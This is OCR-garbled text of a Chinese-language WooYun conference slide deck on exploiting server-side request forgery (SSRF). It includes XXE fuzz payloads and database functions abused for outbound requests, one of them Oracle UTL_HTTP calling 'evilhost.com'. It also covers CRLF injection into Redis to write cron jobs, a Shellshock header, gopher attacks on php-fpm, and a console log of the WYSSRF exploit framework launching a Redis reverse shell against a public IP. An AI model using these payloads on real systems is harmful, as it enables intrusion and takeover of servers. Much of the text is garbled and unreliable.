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KNOW IT, SSRFAE{t+ABEMT?



Redis server

HTTP server

APP server
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AWM 2&( FingerPrint )
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DOS( 1IBRAXME, 16 (RITERE Keep-Alive Always )

Z 5% (users/ dirs/ files )
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KNOW IT, B4 EISSRFF@E?

o BESNIIMRIECINEIE KAV S, B Pl BEFESSRFIRIE .

o MIZFERRSSER1ERZIE( Upload from URL, Import & Export RSS feed)

o HIEENEINEE(Oracle. MongoDB. MSSQL. Postgres. CouchDB)

« Webmail WENE B H8s80E4 (POP3/IMAP/SMTP)

o WIHEAME ZRhDANE,

%5 240 (ffomg, ImageMaic, DOCX, PDF, XMLAMEZR)
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= DlSCUZ' Lt EARE, B IR RENNFENEFLABESAB X MWordPress¥tim. MU TREREFE—IPSARE, AHBSA:
gl Blogger L¥BloggerGA TR, LIMBloggeri§&ESAE. WFieHH .
N 5| LiveJournal R¥LivelJournalS A TR, BAMLivelournalf)APIS A 3Lk
e |mport & E t RSS feed
pOr —X Or ee s QO Movable TypefiTypePad PAMMovable Type® Typepadi§ & S A\ XL EFWFiL.
& AR RSS Import posts from an RSS feed.
° W b 3‘ & IR Tumblr RETUMbIFSA TR, BUMTUMbIrAIAPIS A\ S B ROk
eb Blog o o .
WordPress TRXWordPressSA TR, PAMWordPressSHXHSAXE. M@, WHit. BEXEEB
8A
ey DU HFR-RE 028 BROKEFRIRTHMNE, DLEFNERCHANIXEREMMIRTE, REHREHRN
e XM |_ i :I: y MR HRSATR, YUMOPML S A,
° 15\ ] J/ / '
O Uiesey HELMRFEREFEANSALIR, EEXEREHERUIRERANSATLR.

* Wordpress xmlrpc.php
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XML Fuzz Cheatsheet (271 3E)

DTD Remote Access — X F4ZE 94T F

<IENTITY % d SYSTEM* =

XML External Entity — JMIESE/RES | FE » XML Encryption — XML %2
<IENTITY % file system ' "> <xenc:AgreementMethod Algorithm="
<IENTITY % d SYSTEM ¢ "> <xenc:EncryptionProperty Target="

<xenc:CipherReference URI|="
<xenc:DataReference URI= "

URL Invocation — URL 13

<IDOCTYPE roottag PUBLIC "-//VSR//PENTEST//EN" © =
<roottag>test</roottag>
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XML Fuzz Cheatsheet — Web Services #7 /EIn

» XML Signature — XML
<Reference URI=" >

« WS Policy — SOA WSTEREIN

<To xmIns="http://www.w3.0rg/2005/08/addressing"> </To>
<ReplyTo xmins="http://www.w3.0rg/2005/08/addressing">
<Address> </Address>
</ReplyTo> « WS Addressing — Web Services 3423t
<input message="wooyun" wsa:Action=" ">
»  From WS Security — JAVA WEB Z £ 5K Hg <output message="wooyun" wsa:Action=" " />
<wsp:PolicyReterence URI=" >
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XML Fuzz Cheatsheet —

WS Federation — Web Servicesi@

<fed:Federatio
fed:Federatio

N
N|

<
<fed: TokenlssL
<

e

—ederation|D="
nclude>

‘Name>
mex:MetadataReference>

<wsa:Address>
</mex:MetadataReference>

ODATA (edmx) X
<edmx:Reference URI="

<edmx:AnnotationsReference URI="

M

58 =3 N A SFTN

>

</fed:FederationInclude>
</fed: TokenlssuerName>

</wsa:Address>

« XBRL — MBIREHnE
<xbrli:identifier scheme="
<link:roleType roleURI="

e STRATML — ZBHRARICIES
S <stratml:Source>

</stratml:Source>
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HUEEANEINBE(MongoDB) -> #SSRFR)E

» TRAFENRZNIAE]

> db.copyDatabase('\r\n \r\noi\r\n’, 'test’,'10.6.4.166:6379")
[root@10-6-4-166 ~]# nc -l -vv 6379 > db.copyDatabase('helo’,'test’,'10.6.4.166:22");
Connection from 10.6.19.144 port 6379 [tcp/*] rerrmsg’: ... helo.systemnamespaces failed: " |

> db.copyDatabase('helo’, test’,'10.6.4.166:9999');

.System.namespaces {'errormsg"” : "couldn’t connect to server 10.6.4.166:9999"}
B EXW N 750000+ NEERINTAIBJHIMongoDB Server
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UTL_HTTP.REQUEST
xp_fileexist

e UITL_HITP

SELECT UTL HTTP.REQUEST('http://']| ;
(SELECT wversion FROM wvéinstance) Dbl]nk

® UTL_TCP || 'evilhost.com') FROM dual; LOAD_FILE
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http://docs.oracle.com/cd/E11882 01/appdev.112/e40758/u_http.htm
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BIEENBINBE(PostgresSQL) -> ¥ SSRFIFE

e dblink_send_query() xicitizE 18

SELECT dblink_send_qguery(
'host=127.0.0.1
dbname=quit
user=\'\r\n \"\M\quit\r\n’
password=1 port=63/9 ssimode=disable’,
'select version();’

);

;

k55230l &

[

root@localhost ~|# nc -l -vv 6379

Connection from 127.0.0.1 port 6379 [tcp/*]

https://www.postgresqgl.org/docs/8.4/static/dblink.html
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BIEZERNBEINGE(MSSQL) -> ¥ SSRFIRIG
e OpenRowset()

SELECT openrowset('SQLOLEDB',
'server=192.168.1.5;uid=sa;pwd=sa;database=master’)

X BRI
e OpenDatasource() S OS
XP_CMDSHELL

SELECT * FROM OpenDatasource('SQLOLEDB!,
'Data Source=ServerName;User ID=sa;Password=sa’ ) .Northwind.dbo.Categories

https://msdn.microsoft.com/zh-cn/library/ms190312.aspx
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HIEEMNEINEE(CouchDB) -> 4, SSRFFAE
e HTTP APl /_replicate

POST http://couchdb-server:5984/_replicate
Content-Type: application/json
Accept: application/json
{
‘source’ : ‘recipes’,
target” : °

}

https://docs.couchdb.org/en/stable/api/server/common.html
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NAFANE, migatiE, BIHEEANE -> ISSRERIE

e FFmMpeg
concat: /header.ydml(file:///etc/passwd
° ' BT Az OO -+
-:méﬁimagmk (mvg 1B% U?Ll)_| o kS5 a8 K FTHTTPIEX) 5 & U A
PDF. DOCX E4Jm4E
+ XML parsers ( XSLT ) XSLT &8 T#8iZ 100 M B R X BRI

document(): FHE1A18] 3 — TxmIX ARG R
include(): BEM T IHENRTEH

import(): AR — T FENREERS—"T
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HACK IT, E4FHSSRFFE



VENER

HACK IT, 'R AFAHSSRFERE & A %I5

NPk

E I &R BAnIRSS RIEENE B {payload],

INB

VENER

115 %

X

25817 (

<l 2{0] 5200 2
IPREHIZET (xip.io. T#FEIIP, /\#

1Y

=1 1P)

Redirect. CRLF header injection)

T RS2 I TMX AN /)% (Protocols & Wrappers)

A AB#LIG
IEARSS
AR SS
IR E
XXE -> SSRF -> CSRF {H&%=
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KU

url=http://

1510/

AT

TEARRERNTRER, BRERGIEE

RIFRANB 1 FZDomain, BRFE tdin
(wooyun-2010-0162607 1)

=

172/192 /127 FFRRIRABIPFINR A E

- startswith(‘http’) 5\

302 Redirect BkiL

CRLF

( Ascii Code ) — header injection

-

ZON

ASCIIZ

%20 -> 0x20 -> T=HK
%23 -> Ox23 ->

%0d -> 0x0d -> CR \r

%0a -> 0x0a-> LF \n
%08 -> 0x08 -> BS
%00 -> 0x00 -> Null

Syte
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SSRFRIEAIA -> 30258 E LI N LR

» 302 Pk¥L %5 http X PRH
Discuz! SSRF

—IY

/forum.php”mod=ajax&action=downremoteimg&message=
[img] [/img]

HTTP Scheme
— ==
DICT Scheme

302.php

<?php
header("Location: /set:1:helo”); # set 1 helo \n

http://www.wooyun.org/bugs/wooyun-2010-0215779
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WeblLogic SSRF HTTPLEN JREF] FESEH (158)E)

* CRLF Header Injection HTTP3K)EA POST /helo HTTP/1 .1

Content-Type: text/xml; charset=UTF-8
User-Agent: Java1.6.0_11

 WeblLogic uddiexplorer SSRF Host: wuyun.org

Connection: Keep-Alive

h’[tp:// ocalhost:7001/uddiexplorer/ <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
: : : : <env:Envelope
SearchPublic qeg IStI’IGS.JSp? EE > xmins:soapenc="http://schemas.xmlsoap.org/soap/encoding/’
operator= & xmins:xsd="http://www.w3.0rg/2001/XMLSchema'
xmins:xsi="http://www.w3.0rg/2001/XMLSchema-instance">

I’d OSGaI’Ch — name&btnSu bm |t:S€arCh <env:Header></env:Header><env:Body>

<find_business generic="2.0" xmins="urn:uddi-org:api_v2">
<name>%</name></find_business>

e CRLF ->ASCII Code </env:Body></env:Envelope>
- %0d -> Ox0d-> \r [B] &
- %0a -> 0x0a -> \n #2717 http://wuyun.org/helo%0d%0a &> szwoorun | bzemks 2016




Weblogic SSRF ;i

=51

operator=

(\r\n)

(\r\n)

=512

operator=

(\r\

config set di

(\r\
gquit

)

r /etc/cron.d/

)
(\r\n)

>

SEF A CRLF HTTPSLEN (0-day)

[root@wuyun.org ~|# nc -| 80
MONTI

fuzz.wuyun.com
User-Agent: Java1.6.0_11
Host: wuyun.org

[root@wuyun.org ~]# nc -1 6379
POST

config set dir /etc/cron.d/

quit
HTTP/1.1

‘b 5% WooYun ‘
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Weblogic SSRF &)k

operator=

USER ftp
PASS ftp

owd

GET /abc

SHELLSHOCK

%0d%0a HTTP/1.1

8512] [ftp] FTP
8512] [ftp] FTP

8512] [ftp] FTP
8512] [ftp] FTP

8509] FTP command: Client "121.52.212.192" iR
8511] CONNECT: Client "121.52.212.192"

8511] FTP response: Client "121.52.212.192", "220 (vsFTPd 2.2.2)"
8511] FTP command: Cllent l'121 52.212:192". “POST /TCI07

S ‘?2" "530 Please login with USER

MBRHIA

", "USER ftp"

A LLI o
%lﬁ'ﬁ TN

o : .212.192", "331 Please specify
POST /Cgl-bln/test-cgl%Od%Oa 212.192", "PASS <password>"

) _ Ny I : 192", anon password "ftp"
User-Agent: () { foo;};echo;/bin/ping cloudeye.me '212.192", "230 Login successfu

)12.192", "PWD"
. 212.192", "257 "/m

command C11ent 121552:212.192" - “"GET /abCc HITRP/1. 13

response: Client "121.52.212. 192" "500 Unknown command.
command: Client "121.52.212.192", "CONTENT-TYPE: text/x
response: Client "121.52.212.192", "500 Unknown command.

&> == Woovun ‘ <
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WebLogic SSRF BgZ5ixM (FingerPrint)
¢ 'I,:)j‘\<7|t }_\J_QE/\]HX% ° ?_Wxi/\%UE/\] O \T1/

weblogic.uddi.client.structures.exception. XML_SoapException: weblogic.uddi.client.structures.exception. XML_SoapException:
Received a response from url: http://www.baidu.com/ which did not
fuzz.wuyun.com’, port: '88' have a valid SOAP content-type:

N

o 1EKIBIARSS o NRIHORAIRY[EE

—

weblogic.uddi.client.structures.exception. XML_SoapException: weblogic.uddi.client.structures.exception. XML_SoapException:
Received a response from url: http:// /helo which Received a response from url: http://fuzz.wuyun.com:22 which did
did not have a valid SOAP content-type: null. not have a valid SOAP

= Bt EE : https://wap.ccb.com/uddi/uddilistener
<dispositionReport generic="2.0" operator="http://11.168.100.21:7001"> &> szwoorun | &3 szgee 2o

Ee



DEMO : WeblLogic SSRF CRLF + Redis



WebLogicBHISSRFAE ZIFE, K

1T TRE. W17 80%

L

EYR TV 70%

FEMIZH & BT 90%

S\ IXAEIAA

BEA & Oracle

WeblLogic

ErT

A1

m

/1.

S EC

&> S=Woovun ‘ <
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SSRFEMIEAA -> A5tz 5AIProtocols & Wrappers

e Atlassian Confluence & 141%EY (CVE-2015-8399)

/spaces/viewdefaultdecorator.action”?decoratorName=./WEB-INF/web.xml & /etc/passwd

/spaces/viewdefaultdecorator.action?decoratorName= f
/spaces/viewdefaultdecorator.action?decoratorName= .
I
' _ N = /. S
e Resin-Doc {2 X {4 1£EX | ST FF LB I B

/resin-doc/resource/tutoria
/resin-doc/resource/tutoria

/Indi-appconfig/

est?input

/indi-appconfig/

est?input

‘b 52z WooYun |
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SSRERIEFIA -> RFt > FFHIProtocols & Wrappers

— Accessing local filesystem
— Accessing HTTP(s) URLs
e PHP g (S)

— Accessing FTP(s) URLs
http://php.net/manual/en/wrappers.php — Accessing various I/O streams

— Compression Streams

. — Data (RFC 2397)
ava — Find pathnames matching pattern
sun.net.www.protocol.” — PHP Archive

— Secure Shell 2 rar:// — RAR
— Process Interaction Streams

‘b 52z WooYun ‘ @ 5z6MK4L - 2016
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SSRFERAEFIA -> 1ImFf2iR5S

UDP 11X FTP & SMTP & POP3

HTTP 1Y

reinhard — nc pop3.163.co

tftp://10.10.10.10/get helo
+0K Welcome to coremail Mail Pop3 Server (163com

GET /path HTTP/1.1 P I
POST /path H“TP/11 SMBrep‘ay & BadTunne‘ pass St b——

+0K 81 ﬁessage(s) [7905633 byte(s)]

LIST

WebDav: UNC Call: +0K 81 7905633

Skl

PUT MOVE DEL \10.10.10.10\c$\boot.ini 2 1216

3 3015

titp ftp telnet dict Idap Idaps http file https ftps scp sftp

‘b 52z WooYun ‘ %gééﬂk&-zou




fdE 1 -> Rl FHSSRFIA &5 AN ith fR 5%

Tomcat Management
Zabbix Agentd
Nagios Agentd

Fastcgl ( php-fpm )

dict://localhost:8005/SHUTDOWN9%0d%0a

dict://localhost: 10050/

/BXD7?127.0.0.1 localhost

dict://localhost: 10050/

/BXD,usr etc var boot

gopher://loca
allow_url_incl

host:9000/_...[PHP_VALUE

ude = On]...

‘b 5% WooYun

| &
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A 2 -> MASSRE AN EEGERE & &1F

DISEYeFMF B A
1. 7 FEEIwww B F ellZwebshell

e Redls /\|_ ....................................................... ...’ ....................................................... e

A
[ 11

e Memcached | 3. 51TltESS5(/var/spool/cron/ & /etc/cron.df)
........... 4.slave of 8.8.8.8 EMRIAMA
e CouchDB | 5. 5AElfetc/profile d/ BPHESE

6. FF EEAOFSZ M 43T AI2 5 appendfilename

&> smwooun | £ 4E4e-20n



M AASSRFRE¥ tiMemcached

AEBRNFESEE, 1ZEVEIE R Session, {Bt&adminid=&1t
BIRAN B ZFEMemecached, ZUEMGEAIS/hMI, TE ...

L
/

» vBulletin I @< HIT ( fEMemcachediEiRELF )
http://drops.wooyun.org/papers/8261

e Discuzinf2an$H4T ( B4 Redis & Memcachedi&iE1F )
http://www.wooyun.org/bugs/wooyun-2016-0213982 @Jannock

&> == Woovun ‘ <
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A AASSRF /a7 CouchDB

» BEUZ RFCSSRFIESK, HTTP /_replicate AP

o WEJBA#ISSRFINE, RestfulflJAPIE

e curl -XPUT '_d
"/sbin/ifconfig >/tmp/6666"

EXHEEE1{C5400 h 1t KAV 2185% —> CouchDB
‘b 5% WooYun ‘ @ ig‘;’“’%'m“’




AKSE3 XXE -> SSRF -> CSRF & /&

o CoreMail I E— T4 EEANERIPE S EAPI

/apiws/services/API?wsdl
o] AR . (ZEGERETE %

e CoreMailBia 17— 1" XML XXE SSRF%’

o X|HSSRFERIMERTT)AEA DN S X FEAPI

hitp://www.wooyun.org/bugs/wooyun-2010-0192796 BB RZBRZAREAIENTIE. ..
@applychen &> == Woovun ‘ £, baemxs 2016




HOW, ol E+ B Bt

FA TN

m

T )

)

g)H) VAR W

§

—//

j/":'J E/] }rﬂ

RR

I'L__

IXAL _

&> == Woovun
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=

Python

How 3735 B st %l BB il A

'ur\ / requests / multiprocessing / time / re
nttp://zone.wooyun.org/content/23255

GQYI/\%U

Zall

|:|\|'=|} N

—1

ST RN

REEED R

nttp <G

ET|IPOST>

dict.

gopher.

tftp)

&> == Woovun | <
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- BIEZ

L 2
I §+

Keep-Alive: timeout=5

(R STEE,

BiRT1ETZ Keep-Alive

= R AT

¢ TRIE

[root@l|oca
SSH-2.0-0
Protocol m

WI_‘_I
7,
D \II/ //\\

fr551E 20 R

1R/ [E ARSI LE

> db.copyDatabase('helo’,'test’,'10.6.4.166:22’),
rerrmsg’ ;... helo.systemnamespaces failed: " |

> db.copyDatabase('helo’,'test’,'10.6.4.166:6379");
Lerrormsg” : "couldn’t connect to server 10.6.4.166:6379"

host ~] # curl http://wuyun.org:22

nenSSH 5.3

ISmatch.

&> == Woovun |
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Bed% -SSR ARSI

SITE : MmT

‘b &5 WooYun | @ Iazéﬂlk& 2016



?wmw ﬂLﬁﬁ%m

Conﬂq9_0_9?__§§_r_fEJ_____?%_FPX’_;__?X_f:(Q.QPb-?Q .........................
o) stuts2 —#@SBUTRE
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' _counchdo WEB AP ZRE@<HTIRA R
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' ém-;nongodb SSRF/;:&?E ETe R

php—fpm=faSth| TEH:L T_:':%:\ﬁ_ﬁ% (gOpher) ‘b_%z_:WooYun | 5x68Kk4L - 2016
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FOLDERS
b qqssrf.py ] wyssrf.py

v = ssrf

» [ docs |l #!/usr/bin/env python

v = exploit # encoding: utf-8
B _init__.py S
B couchdb.py I """Welcome to WYSSRF Exploit FrameWork
3 elasticsearch.py T % \ N\ . \

sage:
B ftp.py : . ‘ 2/
wyssrf config -u <url> -p <param> [--data <data>] = : ;‘(:::2 ‘ r\\//‘lzcs\“ -l<:;21.-]/ g;zgg I

A her. . .
[ji?’ﬂpy wyssrf config —--show ¢f’/
@‘Spy wyssrf plugin —--list
3 {bosf'py wyssrf exploit ——l1ist
&) Jenkins.py wyssrf (-i interactive) .
B thon wyssrf.py confi
(3 portscan. -
g z:[;ia;ypy 14 Obti 172-13-0-87:ssrf reinhard$ python wyssrf.py .
= 2 ption Usage:
k) redis.py 1! L, wyssrf config -u <url> -p <param> [--data <data>]

R e N i e i -u ‘http://wuyun.org/?url=gg.com’

@ struts.py _ wyssrf exploit —1list
N thip. - import wyssrf (-i | ——interactive)
£ thtp.py ‘ impor't wyssrf (-h | —help | —version)
(3 tomcat.py LMP 172-13-0-87:ssrf reinhard$ python wyssrf.py config -u 'http://share.v.t.qq.com/index.php? - l_] r"
k) webdav.py UL C-shareSa=pageinfoSurl=http://wuyun.org' —-p url
» O lib SRR LI [INFO)] config file save success...

172-13-0-87:ssrf reinhard$ python wyssrf.py -i
ISR Welcome to WYSSRF Exploit FrameWork (type help for a list of commands.)
il sl console> show config

» [ payload
v = plugin
[ default.py

. from Lilf
() discuz.py from exi "url": "http://share.v.t.qq.com/index.php?c=shareSa=pageinfodurl=http://wuyun.org",
T | f ) " ", n "
rron oA
g i dog'c'pv from dod P '
(Y wordpress.py

console> redis
B .xmlxxe'py S YIS T1ya1id Command. ..
v = utils ; " Usage:
) _init__.py Thi: redis shell <host> <port> <bhost> <bport> [—type=<TYPE>]
[3) cloudeye.py ' of redis ssh <host> <port> <keyfile> [--type=<TYPE>]
[ dnsserver.py » NN console> |

@ exrex.py def
[ fileutils.py

[5) misc.py
;] request.py
EJ Line 94, Column 27
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172-13-0-87:ssrf reinhard$ python wyssrf.py -i
Welcome to WYSSRF Exploit FrameWork (type help for a list of commands.)
console> show config

{ __ W
"url”: "http://share.v.t.qq.com/index.php?c=share&a=pageinfo&url=http://wuyun.org", [ é :1% SS R I::I:‘Hjj:l:‘ |‘ 74/5 Q&

"method": "GET",
"param": "url"

}

console> redis -h

S5rE N um 13+

x<d

Usage:
redis shell <host> <port> <bhost> <bport> [-—type=<TYPE>] o H
redis ssh <host> <port> <keyfile> [——type=<TYPE>]

Options:
-t, —type=<TYPE> request protocol type [default: dict]
console> redis shell 42.62.67.198 6379 fuzz.wuyun.org 8080 —type dict :;1 rd—- N =N
[INFO] Exploit 42.62.67.198 6379 Start... o | j: ﬂj- E/j *U //F
[INFO] #1 flush redis db B
[INFO] #2 set crontab command
[INFO] #3 config set dir /var/spool/cron/
[INFO] #4 config set dbfilename root
[INFO] #5 save to file == N
[INFO] Exploit Successs... o j:l:l:, == -l, Zi(
console> |

g

f— - ﬁ\,
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